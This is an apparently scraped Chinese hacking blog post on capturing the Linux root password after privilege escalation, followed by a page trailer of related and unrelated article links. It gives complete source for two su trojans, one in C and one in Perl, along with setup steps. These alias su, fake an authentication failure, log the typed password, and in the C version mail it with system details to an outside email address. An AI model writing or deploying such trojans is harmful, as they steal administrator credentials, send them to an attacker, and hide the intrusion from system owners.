提权后获取linux root密码
2011-09-09 10:45:25     我来说两句     
收藏    我要投稿

在webbackdoor本身是root(可能性小的可怜)或通过某漏洞溢出成功得到最高权限后,如果能获取root密码能给我们带来很多的好处。查询了一下前辈的方法,一个是欺骗su记录密码,另外一个是替换sshd,我们先看看欺骗su记录密码的代码吧!

先看第一种,kpr-fakesu.c V0.9beta167 fucksu.c

/* * kpr-fakesu.c V0.9beta167 ;P * by koper <koper@linuxmail.org> * * Setting up: * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c * admin@host:~$ mv .su /var/tmp/.su * admin@host:~$ cp .bash_profile .wgetrc * admin@host:~$ echo “alias su=/var/tmp/.su”>>.bash_profile * admin@host:~$ logout * *** LOGIN *** * admin@host:~$ su * Password: * su: Authentication failure * Sorry. * admin@host:~$ su * Password: * root@host:~# logout * admin@host:~$ cat /var/tmp/.pwds * root:dupcia17 * admin@host:~$ * * /bin/su sends various failure information depending on the OS ver. * Please modify the source to make it “fit” * */

#include <stdio.h> #include <stdlib.h>

main(int argc, char *argv[]){

FILE *fp; char *user; char *pass; char filex[100]; char clean[100];

sprintf(filex,”/var/tmp/.pwds”); sprintf(clean,”rm -rf /var/tmp/.su;mv -f /home/admin/.wgetrc /home/admin/.bash_profile”); if(argc==1) user=”root”; if(argc==2) user=argv[1]; if(argc>2){ if(strcmp(argv[1], “-l”)==0) user=argv[2]; else user=argv[1];}

fprintf(stdout,”Password: “); pass=getpass (“”); system(“sleep 3″); fprintf(stdout,”su: Authentication failurenSorry.n”);

if ((fp=fopen(filex,”w”)) != NULL) { fprintf(fp, “%s:%sn”, user, pass); fclose(fp); }

system(clean); system(“rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su”);

/* If you don’t want password in your e-mail uncomment this line: */

system(“uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mailkalikosta@hotmail.com”);

}

perl版本

perl版本: #!/usr/bin/perl

#################################################################################################### # kyle@freeshell.se 2006 su trojan check so the su path is correct.                                 # # then make alias for trojan first it reads the pass then exec the real su.                       # # logging to /tmp/.pass                                                                         # #################################################################################################### print “Password: “; $s1=<STDIN>; print “Sorry.n”; $s2=”Password is: “; $s3=`date +%Y-%m-%d`; open (users, “>>/tmp/.pass”) || die (“Could not open file. $!”); print users ($s2, $s1,$s3); close (users);

system(“/bin/su”)

提权后获取linux root密码的更多相关文章

  1. Linux提权后获取敏感信息的方法与途径

    在本文开始之前,我想指出我不是专家.据我所知,在这个庞大的区域,没有一个“神奇”的答案.分享,共享(我的出发点).下面是一个混合的命令做同样的事情,在不同的地方,或只是一个不同的眼光来看待事物.我知道 ...

  2. 史上最全Linux提权后获取敏感信息方法

    http://www.freebuf.com/articles/system/23993.html 在本文开始之前,我想指出我不是专家.据我所知,在这个庞大的区域,没有一个“神奇”的答案.分享,共享( ...

  3. LINUX提权后获取敏感信息之方法

    文中的每行为一条命令,文中有的命令可能在你的主机上敲不出来,因为它可能是在其他版本的linux中所使用的命令. 列举关键点 (Linux)的提权是怎么一回事:  收集 – 枚举,枚举和一些更多的枚举. ...

  4. 三种找回 linux root密码

    找回 linux root密码的三种方法 第1种方法: 1.在系统进入单用户状态,直接用passwd root去更改2.用安装光盘引导系统,进行linux rescue状态,将原来/分区挂接上来,作法 ...

  5. 三种找回 linux root密码的方法

    找回 linux root密码的三种方法 第1种方法: 1.在系统进入单用户状态,直接用passwd root去更改2.用安装光盘引导系统,进行linux rescue状态,将原来/分区挂接上来,作法 ...

  6. Linux root密码忘记了怎么办?

    一.找回root密码: 1. 开机出现 Booting Red Hat Enterprise Linux Client (…) in 3 seconds … 按任意键进入menu菜单: 2. 选择当前 ...

  7. 【转】CentOS6下安装mysql后,重置root密码方法

    本文转自:CentOS6下安装mysql后,重置root密码方法 centos下安装mysql,居然不知道root用户密码,本想重装,不过还是先度娘了一些,发现这篇文章,刚好解决我的燃眉之急,太赞了. ...

  8. 忘记redhat linux root密码怎么办

    自己VM虚拟机里安装redhat linux root密码忘了,刚开始想重新安装,但是后来想到还有linux有一个single模式,使用single可以直接进入字符界面,然后修改: 启动vm虚拟机,启 ...

  9. Linux Root密码忘记怎么办?用Vultr vps教程演示重置root密码

    使用vultr免费提供的snapshots功能,可以轻松备份vps镜像,通常会碰到一个问题:恢复镜像后,vps的root密码失效了.正常情况下,root密码是镜像文件里的root密码,在某些情况下,由 ...

随机推荐

  1. 《Prism 5.0源码走读》UnityBootstrapper

    UnityBootstrapper (abstract class)继承自Bootstrapper(abstract)类, 在Prism.UnityExtensions.Desktop project ...

  2. ThinkPHP目录结构

    ThinkPHP框架目录结构 文件路径 文件描述 \index.php 入口文件 \Application 应用目录 \Public 资源文件目录 \ThinkPHP 框架核心目录   \Applic ...

  3. spring使用JdbcDaoSupport中封装的JdbcTemplate进行query

    1.Dept package cn.hxex.springcore.jdbc; public class Dept { private Integer deptNo; private String d ...

  4. bootstrap bootstrapTable 分页 传值问题

    bootstrapTable 分页传值 配置项:将原始的 limit: params.limit, //页面大小  page: params.offset, //页码 改成 limit: params ...

  5. cameralink---格式 概要清晰理解

    DS90CR288 和DS90CR286共同组成LVDS收发对, LVDS: 4对数据+1对时钟 TTL: 时钟线1:clk 并行总线共27根: 同步线2:一根场同步,一根行同步 空闲: 1 数据线2 ...

  6. P1572: [Usaco2009 Open]工作安排Job

    做这道题走了不少弯路,其实本身也是很简单的,类似单调队列的东西.刚开始以为双关键字排序就行了,结果连WA两遍,忽然意识到可以在截止之前做这件事!!于是就规规矩矩的打队列,然而忘记找队列里的最小P做,当 ...

  7. linux查看tomcat版本

    进入tomcat bin目录下 然后执行 ./version.sh Server version: Apache Tomcat/6.0.26Server built:   March 9 2010 1 ...

  8. unity 协同

    void Update () { if(Input .GetKeyDown (KeyCode .W )) { StartCoroutine ("Test"); } } IEnume ...

  9. Careercup - Microsoft面试题 - 5680049562845184

    2014-05-10 06:51 题目链接 原题: "How would you find the number of gas stations in the United States?& ...

  10. FushionCharts Free 的运用[2D/3D图表处理]

    由于先前在一些论坛中谈论到这个插件的运用,留了一些QQ联系方式,最近老是被一些程序员“骚扰”,说是请教一些关于FushionChart Free图表的处理技术,先前还是比较乐意接受的,但发现后来一些完 ...